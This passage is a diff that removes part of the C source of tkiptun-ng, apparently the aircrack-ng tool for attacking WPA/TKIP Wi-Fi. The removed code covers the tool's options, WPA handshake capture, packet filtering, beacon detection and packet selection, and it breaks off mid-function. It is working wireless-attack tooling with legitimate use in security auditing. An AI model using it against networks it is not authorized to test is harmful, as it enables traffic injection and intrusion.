-	"\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
-
-#define RATE_NUM 12
-
-#define RATE_1M 1000000
-#define RATE_2M 2000000
-#define RATE_5_5M 5500000
-#define RATE_11M 11000000
-
-#define RATE_6M 6000000
-#define RATE_9M 9000000
-#define RATE_12M 12000000
-#define RATE_18M 18000000
-#define RATE_24M 24000000
-#define RATE_36M 36000000
-#define RATE_48M 48000000
-#define RATE_54M 54000000
-
-#define DEFAULT_MIC_FAILURE_INTERVAL 60
-
-int bitrates[RATE_NUM] = {RATE_1M,
-						  RATE_2M,
-						  RATE_5_5M,
-						  RATE_6M,
-						  RATE_9M,
-						  RATE_11M,
-						  RATE_12M,
-						  RATE_18M,
-						  RATE_24M,
-						  RATE_36M,
-						  RATE_48M,
-						  RATE_54M};
-
-char usage[] =
-
-	"\n"
-	"  %s - (C) 2008-2015 Thomas d\'Otreppe\n"
-	"  https://www.aircrack-ng.org\n"
-	"\n"
-	"  usage: tkiptun-ng <options> <replay interface>\n"
-	"\n"
-	"  Filter options:\n"
-	"\n"
-	"      -d dmac   : MAC address, Destination\n"
-	"      -s smac   : MAC address, Source\n"
-	"      -m len    : minimum packet length (default: 80) \n"
-	"      -n len    : maximum packet length (default: 80)\n"
-	"      -t tods   : frame control, To      DS bit\n"
-	"      -f fromds : frame control, From    DS bit\n"
-	"      -D        : disable AP detection\n"
-	"      -Z        : select packets manually\n"
-	"\n"
-	"  Replay options:\n"
-	"\n"
-	"      -x nbpps  : number of packets per second\n"
-	"      -a bssid  : set Access Point MAC address\n"
-	"      -c dmac   : set Destination  MAC address\n"
-	"      -h smac   : set Source       MAC address\n"
-	"      -e essid  : set target AP SSID\n"
-	"      -M sec    : MIC error timeout in seconds [60]\n"
-	"\n"
-	"  Debug options:\n"
-	"\n"
-	"      -K prga   : keystream for continuation\n"
-	"      -y file   : keystream-file for continuation\n"
-	"      -j        : inject FromDS packets\n"
-	"      -P pmk    : pmk for verification/vuln testing\n"
-	"      -p psk    : psk to calculate pmk with essid\n"
-	"\n"
-	"  source options:\n"
-	"\n"
-	"      -i iface  : capture packets from this interface\n"
-	"      -r file   : extract packets from this pcap file\n"
-	"\n"
-	"      --help    : Displays this usage screen\n"
-	"\n";
-
-struct options
-{
-	unsigned char f_bssid[6];
-	unsigned char f_dmac[6];
-	unsigned char f_smac[6];
-	int f_minlen;
-	int f_maxlen;
-	int f_minlen_set;
-	int f_maxlen_set;
-	int f_type;
-	int f_subtype;
-	int f_tods;
-	int f_fromds;
-	int f_iswep;
-
-	FILE * f_ivs; /* output ivs file      */
-
-	int r_nbpps;
-	int r_fctrl;
-	unsigned char r_bssid[6];
-	unsigned char r_dmac[6];
-	unsigned char r_smac[6];
-	unsigned char r_apmac[6];
-	unsigned char r_dip[4];
-	unsigned char r_sip[4];
-	char r_essid[33];
-	int r_fromdsinj;
-	char r_smac_set;
-
-	char ip_out[16]; // 16 for 15 chars + \x00
-	char ip_in[16];
-	int port_out;
-	int port_in;
-
-	char * iface_out;
-	char * s_face;
-	char * s_file;
-	unsigned char * prga;
-
-	int a_mode;
-	int a_count;
-	int a_delay;
-
-	int ringbuffer;
-	int ghost;
-	int prgalen;
-
-	int delay;
-	int npackets;
-
-	int fast;
-	int bittest;
-
-	int nodetect;
-
-	unsigned char oldkeystream[4096]; /* user-defined old keystream */
-	int oldkeystreamlen; /* user-defined old keystream length */
-	char wpa_essid[256]; /* essid used for calculating the pmk out of the psk */
-	char psk[128]; /* shared passphrase among the clients */
-	unsigned char pmk[128]; /* pmk derived from the essid and psk */
-	unsigned char
-		ptk[80]; /* ptk calculated from all pieces captured in the handshake */
-	unsigned char ip_cli[4];
-	unsigned char ip_ap[4];
-	int got_ptk;
-	int got_pmk;
-	int got_psk;
-	int got_mic_fromds;
-	int got_mic_tods;
-	int got_ip_ap;
-	int got_ip_client;
-
-	struct WPA_hdsk wpa; /* valid WPA handshake data     */
-	struct WPA_ST_info wpa_sta; /* used to calculate the pmk */
-	time_t wpa_time; /* time when the wpa handshake arrived */
-
-	unsigned char *
-		chopped_from_plain; /* chopped plaintext packet from the AP */
-	unsigned char * chopped_to_plain; /* chopped plaintext packet to the AP */
-	unsigned char * chopped_from_prga; /* chopped keystream from the AP */
-	unsigned char * chopped_to_prga; /* chopped keystream to the AP */
-	int chopped_from_plain_len;
-	int chopped_to_plain_len;
-	int chopped_from_prga_len;
-	int chopped_to_prga_len;
-
-	struct timeval last_mic_failure; /* timestamp of last mic failure */
-	int mic_failure_interval; /* time between allowed mic failures */
-} opt;
-
-struct devices
-{
-	int fd_in, arptype_in;
-	int fd_out, arptype_out;
-	int fd_rtc;
-
-	unsigned char mac_in[6];
-	unsigned char mac_out[6];
-
-	int is_wlanng;
-	int is_hostap;
-	int is_madwifi;
-	int is_madwifing;
-	int is_bcm43xx;
-
-	FILE * f_cap_in;
-
-	struct pcap_file_header pfh_in;
-} dev;
-
-static struct wif *_wi_in, *_wi_out;
-
-struct ARP_req
-{
-	unsigned char * buf;
-	int hdrlen;
-	int len;
-};
-
-struct APt
-{
-	unsigned char set;
-	unsigned char found;
-	unsigned char len;
-	unsigned char essid[255];
-	unsigned char bssid[6];
-	unsigned char chan;
-	unsigned int ping[REQUESTS];
-	int pwr[REQUESTS];
-};
-
-struct APt ap[MAX_APS];
-
-unsigned long nb_pkt_sent;
-unsigned char h80211[4096];
-unsigned char tmpbuf[4096];
-unsigned char srcbuf[4096];
-char strbuf[512];
-
-unsigned char ska_auth1[]
-	= "\xb0\x00\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-	  "\x00\x00\x00\x00\x00\x00\xb0\x01\x01\x00\x01\x00\x00\x00";
-
-unsigned char ska_auth3[4096]
-	= "\xb0\x40\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-	  "\x00\x00\x00\x00\x00\x00\xc0\x01";
-
-int ctrl_c, alarmed;
-
-char * iwpriv;
-
-static int check_received(unsigned char * packet, unsigned length)
-{
-	unsigned z;
-	unsigned char bssid[6], smac[6], dmac[6];
-	struct ivs2_pkthdr ivs2;
-
-	z = ((packet[1] & 3) != 3) ? 24 : 30;
-
-	if (length < z) return 0;
-
-	/* Check if 802.11e (QoS) */
-	if ((packet[0] & 0x80) == 0x80) z += 2;
-
-	switch (packet[1] & 3)
-	{
-		case 0:
-			memcpy(bssid, packet + 16, 6);
-			memcpy(dmac, packet + 4, 6);
-			memcpy(smac, packet + 10, 6);
-			break;
-		case 1:
-			memcpy(bssid, packet + 4, 6);
-			memcpy(dmac, packet + 16, 6);
-			memcpy(smac, packet + 10, 6);
-			break;
-		case 2:
-			memcpy(bssid, packet + 10, 6);
-			memcpy(dmac, packet + 4, 6);
-			memcpy(smac, packet + 16, 6);
-			break;
-		default:
-			memcpy(bssid, packet + 10, 6);
-			memcpy(dmac, packet + 16, 6);
-			memcpy(smac, packet + 24, 6);
-			break;
-	}
-
-	if (memcmp(bssid, opt.f_bssid, 6) != 0)
-	{
-		return (0);
-	}
-	else
-	{
-		if (memcmp(dmac, opt.wpa.stmac, 6) != 0
-			&& memcmp(smac, opt.wpa.stmac, 6) != 0)
-			return (0);
-	}
-
-	if (z + 26 > length) return 0;
-
-	if (!(packet[1] & 0x40)) // not encrypted
-	{
-		z += 6; // skip LLC header
-
-		/* check ethertype == EAPOL */
-		if (packet[z] == 0x88 && packet[z + 1] == 0x8E
-			&& (packet[1] & 0x40) != 0x40)
-		{
-			if (opt.wpa.state != 7 || time(NULL) - opt.wpa_time > 1)
-			{
-				z += 2; // skip ethertype
-
-				/* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
-
-				if ((packet[z + 6] & 0x08) != 0 && (packet[z + 6] & 0x40) == 0
-					&& (packet[z + 6] & 0x80) != 0
-					&& (packet[z + 5] & 0x01) == 0)
-				{
-					memcpy(opt.wpa.anonce, &packet[z + 17], 32);
-					opt.wpa.state = 1;
-				}
-
-				/* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1
-				 */
-
-				if (z + 17 + 32 > length) return 0;
-
-				if ((packet[z + 6] & 0x08) != 0 && (packet[z + 6] & 0x40) == 0
-					&& (packet[z + 6] & 0x80) == 0
-					&& (packet[z + 5] & 0x01) != 0)
-				{
-					if (memcmp(&packet[z + 17], ZERO, 32) != 0)
-					{
-						memcpy(opt.wpa.snonce, &packet[z + 17], 32);
-						opt.wpa.state |= 2;
-					}
-
-					if ((opt.wpa.state & 4) != 4)
-					{
-						opt.wpa.eapol_size
-							= (packet[z + 2] << 8) + packet[z + 3] + 4;
-
-						if (opt.wpa.eapol_size > sizeof(opt.wpa.eapol)
-							|| length - z < opt.wpa.eapol_size)
-						{
-							// ignore packet trying to crash us
-							opt.wpa.eapol_size = 0;
-							return 0;
-						}
-
-						memcpy(opt.wpa.keymic, &packet[z + 81], 16);
-						memcpy(opt.wpa.eapol, &packet[z], opt.wpa.eapol_size);
-						memset(opt.wpa.eapol + 81, 0, 16);
-						opt.wpa.state |= 4;
-						opt.wpa.keyver = packet[z + 6] & 7;
-					}
-				}
-
-				/* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
-
-				if ((packet[z + 6] & 0x08) != 0 && (packet[z + 6] & 0x40) != 0
-					&& (packet[z + 6] & 0x80) != 0
-					&& (packet[z + 5] & 0x01) != 0)
-				{
-					if (memcmp(&packet[z + 17], ZERO, 32) != 0)
-					{
-						memcpy(opt.wpa.anonce, &packet[z + 17], 32);
-						opt.wpa.state |= 1;
-					}
-
-					if ((opt.wpa.state & 4) != 4)
-					{
-						opt.wpa.eapol_size
-							= (packet[z + 2] << 8) + packet[z + 3] + 4;
-
-						if (opt.wpa.eapol_size > sizeof(opt.wpa.eapol)
-							|| length - z < opt.wpa.eapol_size)
-						{
-							// ignore packet trying to crash us
-							opt.wpa.eapol_size = 0;
-							return 0;
-						}
-
-						memcpy(opt.wpa.keymic, &packet[z + 81], 16);
-						memcpy(opt.wpa.eapol, &packet[z], opt.wpa.eapol_size);
-						memset(opt.wpa.eapol + 81, 0, 16);
-						opt.wpa.state |= 4;
-						opt.wpa.keyver = packet[z + 6] & 7;
-					}
-				}
-
-				if (opt.wpa.state == 7)
-				{
-					memcpy(opt.wpa.stmac, opt.r_smac, 6);
-					PCT;
-					printf("WPA handshake: %02X:%02X:%02X:%02X:%02X:%02X "
-						   "captured\n",
-						   opt.r_bssid[0],
-						   opt.r_bssid[1],
-						   opt.r_bssid[2],
-						   opt.r_bssid[3],
-						   opt.r_bssid[4],
-						   opt.r_bssid[5]);
-
-					opt.wpa_time = time(NULL);
-
-					if (opt.f_ivs != NULL)
-					{
-						memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
-						ivs2.flags = 0;
-						ivs2.len = 0;
-
-						ivs2.len = sizeof(struct WPA_hdsk);
-						ivs2.flags |= IVS2_WPA;
-
-						ivs2.flags |= IVS2_BSSID;
-						ivs2.len += 6;
-
-						if (fwrite(
-								&ivs2, 1, sizeof(struct ivs2_pkthdr), opt.f_ivs)
-							!= (size_t) sizeof(struct ivs2_pkthdr))
-						{
-							perror("fwrite(IV header) failed");
-							return (1);
-						}
-
-						if (ivs2.flags & IVS2_BSSID)
-						{
-							if (fwrite(opt.r_bssid, 1, 6, opt.f_ivs)
-								!= (size_t) 6)
-							{
-								perror("fwrite(IV bssid) failed");
-								return (1);
-							}
-							ivs2.len -= 6;
-						}
-
-						if (fwrite(&(opt.wpa),
-								   1,
-								   sizeof(struct WPA_hdsk),
-								   opt.f_ivs)
-							!= (size_t) sizeof(struct WPA_hdsk))
-						{
-							perror("fwrite(IV wpa_hdsk) failed");
-							return (1);
-						}
-					}
-				}
-			}
-		}
-	}
-
-	return 0;
-}
-
-static int send_packet(void * buf, size_t count)
-{
-	struct wif * wi = _wi_out; /* XXX globals suck */
-	// 	unsigned char *pkt = (unsigned char*) buf;
-
-	// 	if( (count > 24) && (pkt[1] & 0x04) == 0 && (pkt[22] & 0x0F) == 0)
-	// 	{
-	// 		pkt[22] += (nb_pkt_sent & 0x0000000F) << 4;
-	// 		pkt[23] += (nb_pkt_sent & 0x00000FF0) >> 4;
-	// 	}
-
-	if (wi_write(wi, buf, count, NULL) == -1)
-	{
-		switch (errno)
-		{
-			case EAGAIN:
-			case ENOBUFS:
-				usleep(10000);
-				return 0; /* XXX not sure I like this... -sorbo */
-		}
-
-		perror("wi_write()");
-		return -1;
-	}
-
-	nb_pkt_sent++;
-	return 0;
-}
-
-static int read_packet(void * buf, size_t count, struct rx_info * ri)
-{
-	struct wif * wi = _wi_in; /* XXX */
-	int rc;
-
-	rc = wi_read(wi, buf, count, ri);
-	if (rc == -1)
-	{
-		switch (errno)
-		{
-			case EAGAIN:
-				return 0;
-		}
-
-		perror("wi_read()");
-		return -1;
-	}
-
-	return rc;
-}
-
-static void read_sleep(unsigned long usec)
-{
-	struct timeval tv, tv2, tv3;
-	int caplen;
-	fd_set rfds;
-
-	gettimeofday(&tv, NULL);
-	gettimeofday(&tv2, NULL);
-
-	tv3.tv_sec = 0;
-	tv3.tv_usec = 10000;
-
-	while (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
-			+ (tv2.tv_usec - tv.tv_usec))
-		   < (usec))
-	{
-		FD_ZERO(&rfds);
-		FD_SET(dev.fd_in, &rfds);
-
-		if (select(dev.fd_in + 1, &rfds, NULL, NULL, &tv3) < 0)
-		{
-			continue;
-		}
-
-		if (FD_ISSET(dev.fd_in, &rfds))
-		{
-			caplen = read_packet(h80211, sizeof(h80211), NULL);
-			check_received(h80211, caplen);
-		}
-
-		usleep(1000);
-		gettimeofday(&tv2, NULL);
-	}
-}
-
-static int filter_packet(unsigned char * h80211, int caplen)
-{
-	int z, mi_b, mi_s, mi_d, ext = 0, qos = 0;
-
-	if (caplen <= 0) return (1);
-
-	z = ((h80211[1] & 3) != 3) ? 24 : 30;
-	if ((h80211[0] & 0x80) == 0x80)
-	{
-		qos = 1; /* 802.11e QoS */
-		z += 2;
-	}
-
-	if (!qos) return (1);
-
-	if ((h80211[0] & 0x0C) == 0x08) // if data packet
-		ext = z - 24; // how many bytes longer than default ieee80211 header
-
-	/* check length */
-	if (caplen - ext < opt.f_minlen || caplen - ext > opt.f_maxlen) return (1);
-
-	/* check the frame control bytes */
-
-	if ((h80211[0] & 0x80) != 0x80) return (1); // no QoS packet
-
-	if ((h80211[0] & 0x0C) != (opt.f_type << 2) && opt.f_type >= 0) return (1);
-
-	if ((h80211[0] & 0x70) != ((opt.f_subtype << 4) & 0x70)
-		&& // ignore the leading bit (QoS)
-		opt.f_subtype >= 0)
-		return (1);
-
-	if ((h80211[1] & 0x01) != (opt.f_tods) && opt.f_tods >= 0) return (1);
-
-	if ((h80211[1] & 0x02) != (opt.f_fromds << 1) && opt.f_fromds >= 0)
-		return (1);
-
-	if ((h80211[1] & 0x40) != (opt.f_iswep << 6) && opt.f_iswep >= 0)
-		return (1);
-
-	/* check the extended IV (TKIP) flag */
-
-	//     if( opt.f_type == 2 && opt.f_iswep == 1 &&
-	//         ( h80211[z + 3] & 0x20 ) != 0 ) return( 1 );
-
-	/* MAC address checking */
-
-	switch (h80211[1] & 3)
-	{
-		case 0:
-			mi_b = 16;
-			mi_s = 10;
-			mi_d = 4;
-			break;
-		case 1:
-			mi_b = 4;
-			mi_s = 10;
-			mi_d = 16;
-			break;
-		case 2:
-			mi_b = 10;
-			mi_s = 16;
-			mi_d = 4;
-			break;
-		default:
-			mi_b = 10;
-			mi_d = 16;
-			mi_s = 24;
-			break;
-	}
-
-	if (memcmp(opt.f_bssid, NULL_MAC, 6) != 0)
-		if (memcmp(h80211 + mi_b, opt.f_bssid, 6) != 0) return (1);
-
-	if (memcmp(opt.f_bssid, opt.f_smac, 6) == 0)
-	{
-		if (memcmp(opt.f_smac, NULL_MAC, 6) != 0)
-			if (memcmp(h80211 + mi_s, opt.f_smac, 5) != 0) return (1);
-	}
-	else
-	{
-		if (memcmp(opt.f_smac, NULL_MAC, 6) != 0)
-			if (memcmp(h80211 + mi_s, opt.f_smac, 6) != 0) return (1);
-	}
-
-	if (memcmp(opt.f_bssid, opt.f_dmac, 6) == 0)
-	{
-		if (memcmp(opt.f_dmac, NULL_MAC, 6) != 0)
-			if (memcmp(h80211 + mi_d, opt.f_dmac, 5) != 0) return (1);
-	}
-	else
-	{
-		if (memcmp(opt.f_dmac, NULL_MAC, 6) != 0)
-			if (memcmp(h80211 + mi_d, opt.f_dmac, 6) != 0) return (1);
-	}
-
-	/* this one looks good */
-
-	return (0);
-}
-
-static int
-wait_for_beacon(unsigned char * bssid, unsigned char * capa, char * essid)
-{
-	int len = 0, chan = 0, taglen = 0, tagtype = 0, pos = 0;
-	unsigned char pkt_sniff[4096];
-	struct timeval tv, tv2;
-	char essid2[33];
-
-	gettimeofday(&tv, NULL);
-	while (1)
-	{
-		len = 0;
-		while (len < 22)
-		{
-			len = read_packet(pkt_sniff, sizeof(pkt_sniff), NULL);
-
-			gettimeofday(&tv2, NULL);
-			if (((tv2.tv_sec - tv.tv_sec) * 1000000UL)
-					+ (tv2.tv_usec - tv.tv_usec)
-				> 10000 * 1000) // wait 10sec for beacon frame
-			{
-				return -1;
-			}
-			if (len <= 0) usleep(1000);
-		}
-		if (!memcmp(pkt_sniff, "\x80", 1))
-		{
-			pos = 0;
-			taglen = 22; // initial value to get the fixed tags parsing started
-			taglen += 12; // skip fixed tags in frames
-			do
-			{
-				pos += taglen + 2;
-				tagtype = pkt_sniff[pos];
-				taglen = pkt_sniff[pos + 1];
-			} while (tagtype != 3 && pos < len - 2);
-
-			if (tagtype != 3) continue;
-			if (taglen != 1) continue;
-			if (pos + 2 + taglen > len) continue;
-
-			chan = pkt_sniff[pos + 2];
-
-			if (essid)
-			{
-				pos = 0;
-				taglen
-					= 22; // initial value to get the fixed tags parsing started
-				taglen += 12; // skip fixed tags in frames
-				do
-				{
-					pos += taglen + 2;
-					tagtype = pkt_sniff[pos];
-					taglen = pkt_sniff[pos + 1];
-				} while (tagtype != 0 && pos < len - 2);
-
-				if (tagtype != 0) continue;
-				if (taglen <= 1)
-				{
-					if (bssid != NULL && memcmp(bssid, pkt_sniff + 10, 6) == 0)
-						break;
-					else
-						continue;
-				}
-				if (pos + 2 + taglen > len) continue;
-
-				if (taglen > 32) taglen = 32;
-
-				if ((pkt_sniff + pos + 2)[0] < 32 && bssid != NULL
-					&& memcmp(bssid, pkt_sniff + 10, 6) == 0)
-				{
-					break;
-				}
-
-				/* if bssid is given, copy essid */
-				if (bssid != NULL && memcmp(bssid, pkt_sniff + 10, 6) == 0
-					&& strlen(essid) == 0)
-				{
-					memset(essid, 0, 33);
-					memcpy(essid, pkt_sniff + pos + 2, taglen);
-					break;
-				}
-
-				/* if essid is given, copy bssid AND essid, so we can handle
-				 * case insensitive arguments */
-				if (bssid != NULL && memcmp(bssid, NULL_MAC, 6) == 0
-					&& strncasecmp(essid, (char *) pkt_sniff + pos + 2, taglen)
-						   == 0
-					&& strlen(essid) == (unsigned) taglen)
-				{
-					memset(essid, 0, 33);
-					memcpy(essid, pkt_sniff + pos + 2, taglen);
-					memcpy(bssid, pkt_sniff + 10, 6);
-					printf("Found BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\" to "
-						   "given ESSID \"%s\".\n",
-						   bssid[0],
-						   bssid[1],
-						   bssid[2],
-						   bssid[3],
-						   bssid[4],
-						   bssid[5],
-						   essid);
-					break;
-				}
-
-				/* if essid and bssid are given, check both */
-				if (bssid != NULL && memcmp(bssid, pkt_sniff + 10, 6) == 0
-					&& strlen(essid) > 0)
-				{
-					memset(essid2, 0, 33);
-					memcpy(essid2, pkt_sniff + pos + 2, taglen);
-					if (strncasecmp(essid, essid2, taglen) == 0
-						&& strlen(essid) == (unsigned) taglen)
-						break;
-					else
-					{
-						printf("For the given BSSID "
-							   "\"%02X:%02X:%02X:%02X:%02X:%02X\", there is an "
-							   "ESSID mismatch!\n",
-							   bssid[0],
-							   bssid[1],
-							   bssid[2],
-							   bssid[3],
-							   bssid[4],
-							   bssid[5]);
-						printf(
-							"Found ESSID \"%s\" vs. specified ESSID \"%s\"\n",
-							essid2,
-							essid);
-						printf("Using the given one, double check it to be "
-							   "sure its correct!\n");
-						break;
-					}
-				}
-			}
-		}
-	}
-
-	if (capa) memcpy(capa, pkt_sniff + 34, 2);
-
-	return chan;
-}
-
-/*
-	if bssid != NULL its looking for a beacon frame
-*/
-static int attack_check(unsigned char * bssid,
-						char * essid,
-						unsigned char * capa,
-						struct wif * wi)
-{
-	int ap_chan = 0, iface_chan = 0;
-
-	iface_chan = wi_get_channel(wi);
-
-	if (bssid != NULL)
-	{
-		ap_chan = wait_for_beacon(bssid, capa, essid);
-		if (ap_chan < 0)
-		{
-			PCT;
-			printf("No such BSSID available.\n");
-			return -1;
-		}
-		if (ap_chan != iface_chan)
-		{
-			PCT;
-			printf("%s is on channel %d, but the AP uses channel %d\n",
-				   wi_get_ifname(wi),
-				   iface_chan,
-				   ap_chan);
-			return -1;
-		}
-	}
-
-	return 0;
-}
-
-static int getnet(unsigned char * capa, int filter, int force)
-{
-	unsigned char * bssid;
-
-	if (opt.nodetect) return 0;
-
-	if (filter)
-		bssid = opt.f_bssid;
-	else
-		bssid = opt.r_bssid;
-
-	if (memcmp(bssid, NULL_MAC, 6))
-	{
-		PCT;
-		printf("Waiting for beacon frame (BSSID: "
-			   "%02X:%02X:%02X:%02X:%02X:%02X) on channel %d\n",
-			   bssid[0],
-			   bssid[1],
-			   bssid[2],
-			   bssid[3],
-			   bssid[4],
-			   bssid[5],
-			   wi_get_channel(_wi_in));
-	}
-	else if (strlen(opt.r_essid) > 0)
-	{
-		PCT;
-		printf("Waiting for beacon frame (ESSID: %s) on channel %d\n",
-			   opt.r_essid,
-			   wi_get_channel(_wi_in));
-	}
-	else if (force)
-	{
-		PCT;
-		if (filter)
-		{
-			printf("Please specify at least a BSSID (-b) or an ESSID (-e)\n");
-		}
-		else
-		{
-			printf("Please specify at least a BSSID (-a) or an ESSID (-e)\n");
-		}
-		return (1);
-	}
-	else
-		return 0;
-
-	if (attack_check(bssid, opt.r_essid, capa, _wi_in) != 0)
-	{
-		if (memcmp(bssid, NULL_MAC, 6))
-		{
-			if (strlen(opt.r_essid) == 0 || opt.r_essid[0] < 32)
-			{
-				printf("Please specify an ESSID (-e).\n");
-			}
-		}
-
-		if (!memcmp(bssid, NULL_MAC, 6))
-		{
-			if (strlen(opt.r_essid) > 0)
-			{
-				printf("Please specify a BSSID (-a).\n");
-			}
-		}
-		return (1);
-	}
-
-	return 0;
-}
-
-static int capture_ask_packet(int * caplen, int just_grab)
-{
-	time_t tr;
-	struct timeval tv;
-	struct tm * lt;
-
-	fd_set rfds;
-	long nb_pkt_read;
-	int i, j, n, mi_b = 0, mi_s = 0, mi_d = 0, mi_t = 0, mi_r = 0, is_wds = 0,
-				 key_index_offset;
-	int ret, z;
-
-	FILE * f_cap_out;
-	struct pcap_file_header pfh_out;
-	struct pcap_pkthdr pkh;
-
-	if (opt.f_minlen < 0) opt.f_minlen = 40;
-	if (opt.f_maxlen < 0) opt.f_maxlen = 1500;
-	if (opt.f_type < 0) opt.f_type = 2;
-	if (opt.f_subtype < 0) opt.f_subtype = 0;
-	if (opt.f_iswep < 0) opt.f_iswep = 1;
-
-	tr = time(NULL);
-
-	nb_pkt_read = 0;
-
-	signal(SIGINT, SIG_DFL);
-
-	while (1)
-	{
-		if (time(NULL) - tr > 0)
-		{
-			tr = time(NULL);
-			printf("\rRead %ld packets...\r", nb_pkt_read);
-			fflush(stdout);
-		}
-
-		if (opt.s_file == NULL)
-		{
-			FD_ZERO(&rfds);
-			FD_SET(dev.fd_in, &rfds);
-
-			tv.tv_sec = 1;
-			tv.tv_usec = 0;
-
-			if (select(dev.fd_in + 1, &rfds, NULL, NULL, &tv) < 0)
-			{
-				if (errno == EINTR) continue;
-				perror("select failed");
-				return (1);
-			}
-
-			if (!FD_ISSET(dev.fd_in, &rfds)) continue;
-
-			gettimeofday(&tv, NULL);
-
-			*caplen = read_packet(h80211, sizeof(h80211), NULL);
-
-			if (*caplen < 0) return (1);
-			if (*caplen == 0) continue;
-		}
-		else
-		{
-			/* there are no hidden backdoors in this source code */
-
-			n = sizeof(pkh);
-
-			if (fread(&pkh, n, 1, dev.f_cap_in) != 1)
-			{
-				printf("\r");
-				erase_line(0);
-				printf("End of file.\n");
-				return (1);
-			}
-
-			if (dev.pfh_in.magic == TCPDUMP_CIGAM)
-			{
-				SWAP32(pkh.caplen);
-				SWAP32(pkh.len);
-			}
-
-			tv.tv_sec = pkh.tv_sec;
-			tv.tv_usec = pkh.tv_usec;
-
-			n = *caplen = pkh.caplen;
-
-			if (n <= 0 || n > (int) sizeof(h80211) || n > (int) sizeof(tmpbuf))
-			{
-				printf("\r");
-				erase_line(0);
-				printf("Invalid packet length %d.\n", n);
-				return (1);
-			}
-
-			if (fread(h80211, n, 1, dev.f_cap_in) != 1)
-			{
-				printf("\r");
-				erase_line(0);
-				printf("End of file.\n");
-				return (1);
-			}
-
-			if (dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
-			{
-				if (h80211[7] == 0x40)
-					n = 64;
-				else
-					n = *(int *) (h80211 + 4);
-
-				if (n < 8 || n >= (int) *caplen) continue;
-
-				memcpy(tmpbuf, h80211, *caplen);
-				*caplen -= n;
-				memcpy(h80211, tmpbuf + n, *caplen);
-			}
-
-			if (dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
-			{
-				/* remove the radiotap header */
-
-				n = *(unsigned short *) (h80211 + 2);
-
-				if (n <= 0 || n >= (int) *caplen) continue;
-
-				memcpy(tmpbuf, h80211, *caplen);
-				*caplen -= n;
-				memcpy(h80211, tmpbuf + n, *caplen);
-			}
-
-			if (dev.pfh_in.linktype == LINKTYPE_PPI_HDR)
-			{
-				/* remove the PPI header */
-
-				n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
-
-				if (n <= 0 || n >= (int) *caplen) continue;
-
-				/* for a while Kismet logged broken PPI headers */
-				if (n == 24
-					&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
-					n = 32;
-
-				if (n <= 0 || n >= (int) *caplen) continue;
-
-				memcpy(tmpbuf, h80211, *caplen);
-				*caplen -= n;
-				memcpy(h80211, tmpbuf + n, *caplen);
-			}
-		}
-
-		nb_pkt_read++;
-
-		if (filter_packet(h80211, *caplen) != 0) continue;
-
-		if (opt.fast) break;
-
-		z = ((h80211[1] & 3) != 3) ? 24 : 30;
-		if ((h80211[0] & 0x80) == 0x80) /* QoS */
-			z += 2;
-
-		switch (h80211[1] & 3)
-		{
-			case 0:
-				mi_b = 16;
-				mi_s = 10;
-				mi_d = 4;
-				is_wds = 0;
-				break;
-			case 1:
-				mi_b = 4;
-				mi_s = 10;
-				mi_d = 16;
-				is_wds = 0;
-				break;
-			case 2:
-				mi_b = 10;
-				mi_s = 16;
-				mi_d = 4;
-				is_wds = 0;
-				break;
-			case 3:
-				mi_t = 10;
-				mi_r = 4;
-				mi_d = 16;
-				mi_s = 24;
-				is_wds = 1;
-				break; // WDS packet
-		}
-
-		printf("\n\n        Size: %d, FromDS: %d, ToDS: %d",
-			   *caplen,
-			   (h80211[1] & 2) >> 1,
-			   (h80211[1] & 1));
-
-		if ((h80211[0] & 0x0C) == 8 && (h80211[1] & 0x40) != 0)
-		{
-			//             if (is_wds) key_index_offset = 33; // WDS packets
-			//             have an additional MAC, so the key index is at byte
-			//             33
-			//             else key_index_offset = 27;
-			key_index_offset = z + 3;
-
-			if ((h80211[key_index_offset] & 0x20) == 0)
-				printf(" (WEP)");
-			else
-				printf(" (WPA)");
-		}
-
-		printf("\n\n");
-
-		if (is_wds)
-		{
-			printf("        Transmitter  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
-				   h80211[mi_t],
-				   h80211[mi_t + 1],
-				   h80211[mi_t + 2],
-				   h80211[mi_t + 3],
-				   h80211[mi_t + 4],
-				   h80211[mi_t + 5]);
-
-			printf("           Receiver  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
-				   h80211[mi_r],
-				   h80211[mi_r + 1],
-				   h80211[mi_r + 2],
-				   h80211[mi_r + 3],
-				   h80211[mi_r + 4],
-				   h80211[mi_r + 5]);
-		}
-		else
-		{
-			printf("              BSSID  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
-				   h80211[mi_b],
-				   h80211[mi_b + 1],
-				   h80211[mi_b + 2],
-				   h80211[mi_b + 3],
-				   h80211[mi_b + 4],
-				   h80211[mi_b + 5]);
-		}
-
-		printf("          Dest. MAC  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
-			   h80211[mi_d],
-			   h80211[mi_d + 1],
-			   h80211[mi_d + 2],
-			   h80211[mi_d + 3],
-			   h80211[mi_d + 4],
-			   h80211[mi_d + 5]);
-
-		printf("         Source MAC  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
-			   h80211[mi_s],
-			   h80211[mi_s + 1],
-			   h80211[mi_s + 2],
-			   h80211[mi_s + 3],
-			   h80211[mi_s + 4],
-			   h80211[mi_s + 5]);
-
-		/* print a hex dump of the packet */
-
-		for (i = 0; i < *caplen; i++)
-		{
-			if ((i & 15) == 0)
-			{
-				if (i == 224)
-				{
-					printf("\n        --- CUT ---");
-					break;
-				}
-
-				printf("\n        0x%04x:  ", i);
-			}
-
-			printf("%02x", h80211[i]);
-
-			if ((i & 1) != 0) printf(" ");
-
-			if (i == *caplen - 1 && ((i + 1) & 15) != 0)
-			{
-				for (j = ((i + 1) & 15); j < 16; j++)
-				{
-					printf("  ");
